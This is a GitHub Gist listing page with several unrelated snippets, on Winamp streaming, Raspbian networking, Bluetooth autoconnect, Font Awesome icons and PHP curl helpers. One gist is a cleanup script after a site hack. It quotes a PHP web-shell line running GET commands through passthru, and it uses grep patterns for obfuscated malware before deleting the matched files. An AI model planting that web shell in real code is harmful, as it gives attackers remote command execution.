Skip to content

Instantly share code, notes, and snippets.

View benocd's full-sized avatar

Bernardo Campos Diocaretz benocd

View GitHub Profile
@jclosure
jclosure / play_spotify_via_winamp.md
Last active April 13, 2024 18:39
How to play your Spotify music in Winamp and get Visualizatons

Spotiamp features a builtin Shoutcast® server, so you can easily stream the music to any device supporting Shoutcast, such as Sonos.

Download and install Winamp

I've installed version 5.8

https://www.winamp.com/

@jjsanderson
jjsanderson / network-manager-raspbian-2020-02-05.md
Last active April 20, 2023 17:25
Installing Network Manager on Raspbian 2020-02-05

Installing Network Manager on Raspbian 2020-02-05

NOTE:
This guide was written more than two years ago, which in Pi years means it's now graduated college, or something. Inevitably, it's at least a little out of date, and it may even be entirely misleading. There are several helpful suggestions in the comments (thanks everyone), and most recently a report that what's here plain doesn't work on current (early 2022) Raspbian. Which isn't even called 'Raspbian' any more.
As of Jan 2022 I'm partially back in my office-which-has-access-to-eduroam, and I do have a need to build up a fresh Pi desktop. If and when I get that working I'll update this guide. In the meantime: good luck, and please leave a comment to report success or failure.
(June 2022) Nope, I still haven't actually tried any of this myself. However, I have had to troubleshoot eduroam wifi on my Linux ThinkPad. As of Ubuntu 22.04 it would no longer connect. [This Stack Exchange answer](https://askubuntu.com/questions/27976

@fedir
fedir / cleaning.sh
Last active February 4, 2022 19:33
Traces of one hack and solutions for cleaning after it
find . -type f -iname '*.php' -exec sed -i 's/<?php if (isset(\$_GET\["_cmd"\])) die(passthru(\$_GET\["_cmd"\])); ?>//g' "{}" +;
find . -iname 'index.php' | xargs grep '\x2fhom' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '\x2fh' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep 'eval("' | grep 337 | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '\{eval(' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '$_COOKIE;' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep 'create_function'|grep base64_decode| cut -f1 -d":"| xargs rm
@bisko
bisko / autoconnect.py
Created August 15, 2016 14:05
Python scan and autoconnect to devices
import dbus
import bluetooth
import sys
import subprocess
# Hardcoded devices, order is the priority
devices = ["C8:85:50:88:30:ED", "FC:64:BA:0E:C0:10"]
has_connected = False
@guedressel
guedressel / font-awesome-mime-type-icons.php
Last active October 13, 2022 09:30
Font Awesome File Icons: Mapping MIME Types to correct icon classes
<?php
/**
* Get font awesome file icon class for specific MIME Type
* @see https://gist.github.com/guedressel/0daa170c0fde65ce5551
*
*/
function font_awesome_file_icon_class( $mime_type ) {
// List of official MIME Types: http://www.iana.org/assignments/media-types/media-types.xhtml
@jrivero
jrivero / file_get_contents_curl.php
Last active February 21, 2024 11:30
Alternative for file_get_contents() using curl
<?php
// http://25labs.com/alternative-for-file_get_contents-using-curl/
function file_get_contents_curl($url, $retries=5)
{
$ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36';
if (extension_loaded('curl') === true)
{
@mironal
mironal / content_type_json.php
Created June 16, 2012 01:10
header("Content-type: application/json; charset=utf-8"); php
<?php
header("Content-type: application/json; charset=utf-8");
/* something... */
?>